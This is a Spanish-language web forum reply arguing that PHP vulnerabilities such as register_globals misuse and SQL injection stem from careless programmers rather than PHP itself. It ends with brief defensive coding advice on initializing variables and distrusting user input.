Hola Triby. Tal vez me han informado mal. Pues, según me respondieron en este mismo foro, en un tema afín que puse hace ya algún tiempo, un bug de seguridad es precisamente eso, una debilidad de la aplicación por mala validación de los datos que entran desde el exterior, por la vía que sea (todas las que tu enumeras).
Precisamente, la culpa no es de PHP, sino de quien lo usa sin poner atención en esos pequeños detalles... por eso insisto: NO ES BUG DE PHP!!!

Esto me recuerda aquellos viejos tiempos (cuando yo sólo hacía webs en HTML), que todo mundo condenaba a PHP por la inseguridad que se generaba al activar register_globals y validaciones precarias; por supuesto, la culpa fue de los programadores que preferían "evitarse la molestia" de inicializar y verificar cada variable.

No podemos culpar a PHP por las inyecciones SQL cuando nos olvidamos de usar consultas preparadas o escapar los datos correctamente.

Y, bueno, ya casi me canso de repetirlo:
- Antes de usarlas, inicializar todas las variables con el contenido que realmente les corresponda $_GET, $_POST, $_COOKIE, $_SESSION o con un valor por defecto, ya sea cadena vacía, NULL, falso, etc.
- No confiar en los datos ingresados por el usuario
- No incluir scripts (php o la extensión que sea, internos o externos) si no pertenecen a la estructura de tu sitio.
__________________
- León, Guanajuato
- GV-Foto

Etiquetas: ataques
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 1 personas




La zona horaria es GMT -6. Ahora son las 15:56.